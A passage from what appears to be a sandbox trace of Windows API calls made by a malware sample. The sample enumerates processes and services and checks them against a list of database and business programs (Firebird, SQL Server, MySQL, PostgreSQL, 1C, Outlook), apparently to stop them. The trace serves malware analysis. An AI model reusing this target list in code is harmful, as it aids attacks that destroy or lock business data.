| out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.881] lstrlenW (lpString="svchost.exe") returned 11 [0263.881] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.882] lstrlenW (lpString="svchost.exe") returned 11 [0263.882] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0263.882] lstrlenW (lpString="userinit.exe") returned 12 [0263.882] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.882] lstrlenW (lpString="dwm.exe") returned 7 [0263.882] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.882] lstrlenW (lpString="explorer.exe") returned 12 [0263.882] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.883] lstrlenW (lpString="spoolsv.exe") returned 11 [0263.883] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0263.883] lstrlenW (lpString="taskhost.exe") returned 12 [0263.883] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.883] lstrlenW (lpString="svchost.exe") returned 11 [0263.883] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0263.884] lstrlenW (lpString="uyuquk.exe") returned 10 [0263.884] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0263.884] lstrlenW (lpString="reader_sl.exe") returned 13 [0263.884] Process32NextW (in: hSnapshot=0x3e0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0263.884] CloseHandle (hObject=0x3e0) returned 1 [0263.884] Sleep (dwMilliseconds=0x1f4) [0264.399] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6147c0 [0264.405] EnumServicesStatusExW (in: hSCManager=0x6147c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0264.405] GetLastError () returned 0xea [0264.405] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x57af28 [0264.405] EnumServicesStatusExW (in: hSCManager=0x6147c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x57af28, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x57af28, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0264.405] CloseServiceHandle (hSCObject=0x6147c0) returned 1 [0264.405] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0264.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.406] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0264.406] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0264.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0264.406] lstrlenW (lpString="AudioSrv") returned 8 [0264.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0264.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0264.406] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0264.406] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0264.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0264.406] lstrlenW (lpString="BFE") returned 3 [0264.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0264.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0264.406] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0264.406] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0264.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0264.406] lstrlenW (lpString="CryptSvc") returned 8 [0264.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0264.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0264.406] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0264.406] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0264.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0264.406] lstrlenW (lpString="CscService") returned 10 [0264.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0264.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0264.406] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0264.406] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0264.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0264.406] lstrlenW (lpString="DcomLaunch") returned 10 [0264.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.406] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0264.406] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0264.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0264.406] lstrlenW (lpString="Dhcp") returned 4 [0264.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0264.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0264.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0264.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0264.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0264.407] lstrlenW (lpString="Dnscache") returned 8 [0264.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0264.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0264.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0264.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0264.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0264.407] lstrlenW (lpString="DPS") returned 3 [0264.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0264.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0264.407] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0264.407] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0264.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0264.407] lstrlenW (lpString="eventlog") returned 8 [0264.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0264.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0264.407] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0264.407] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0264.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0264.407] lstrlenW (lpString="EventSystem") returned 11 [0264.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0264.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0264.407] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0264.407] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0264.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0264.407] lstrlenW (lpString="gpsvc") returned 5 [0264.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0264.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0264.407] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0264.407] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0264.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0264.407] lstrlenW (lpString="LanmanWorkstation") returned 17 [0264.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.408] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0264.408] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0264.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0264.408] lstrlenW (lpString="lmhosts") returned 7 [0264.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0264.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0264.408] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0264.408] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0264.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0264.408] lstrlenW (lpString="MMCSS") returned 5 [0264.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0264.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0264.408] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0264.408] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0264.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0264.408] lstrlenW (lpString="MpsSvc") returned 6 [0264.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0264.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0264.408] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0264.408] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0264.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0264.408] lstrlenW (lpString="NlaSvc") returned 6 [0264.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0264.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0264.408] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0264.408] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0264.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0264.408] lstrlenW (lpString="nsi") returned 3 [0264.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0264.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0264.408] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0264.408] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0264.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0264.408] lstrlenW (lpString="PcaSvc") returned 6 [0264.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0264.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0264.409] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0264.409] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0264.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0264.409] lstrlenW (lpString="PlugPlay") returned 8 [0264.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0264.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0264.409] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0264.409] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0264.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0264.409] lstrlenW (lpString="Power") returned 5 [0264.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0264.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0264.409] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0264.409] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0264.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0264.409] lstrlenW (lpString="ProfSvc") returned 7 [0264.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0264.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0264.409] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0264.409] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0264.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0264.409] lstrlenW (lpString="RpcEptMapper") returned 12 [0264.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.409] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0264.409] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0264.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0264.409] lstrlenW (lpString="RpcSs") returned 5 [0264.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0264.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0264.410] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0264.410] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0264.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0264.410] lstrlenW (lpString="SamSs") returned 5 [0264.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0264.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0264.410] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0264.410] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0264.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0264.410] lstrlenW (lpString="Schedule") returned 8 [0264.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0264.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0264.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0264.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0264.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0264.410] lstrlenW (lpString="SENS") returned 4 [0264.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0264.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0264.410] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0264.410] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0264.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0264.410] lstrlenW (lpString="ShellHWDetection") returned 16 [0264.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.410] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0264.410] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0264.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0264.410] lstrlenW (lpString="Spooler") returned 7 [0264.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0264.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0264.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0264.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0264.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0264.410] lstrlenW (lpString="SysMain") returned 7 [0264.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0264.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0264.410] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0264.411] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0264.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0264.411] lstrlenW (lpString="Themes") returned 6 [0264.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0264.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0264.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0264.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0264.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0264.411] lstrlenW (lpString="TrkWks") returned 6 [0264.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0264.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0264.411] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0264.411] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0264.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0264.411] lstrlenW (lpString="UxSms") returned 5 [0264.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0264.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0264.411] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0264.411] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0264.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0264.411] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57af28 | out: hHeap=0x530000) returned 1 [0264.411] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0264.413] Process32FirstW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.413] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.413] lstrlenW (lpString="System") returned 6 [0264.413] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0264.413] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0264.413] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0264.413] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0264.413] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0264.413] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0264.413] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0264.413] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.414] lstrlenW (lpString="smss.exe") returned 8 [0264.414] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0264.414] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0264.414] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0264.414] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0264.414] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0264.414] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0264.414] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0264.414] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.414] lstrlenW (lpString="csrss.exe") returned 9 [0264.414] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0264.414] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0264.414] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0264.414] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0264.414] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0264.414] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0264.414] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0264.414] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.415] lstrlenW (lpString="wininit.exe") returned 11 [0264.415] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0264.415] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0264.415] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0264.415] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0264.415] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0264.415] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0264.415] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0264.415] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.415] lstrlenW (lpString="csrss.exe") returned 9 [0264.415] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0264.415] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0264.415] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0264.415] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0264.415] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0264.415] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0264.415] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0264.415] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.416] lstrlenW (lpString="winlogon.exe") returned 12 [0264.416] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0264.416] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0264.416] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0264.416] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0264.416] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0264.416] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0264.416] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0264.416] 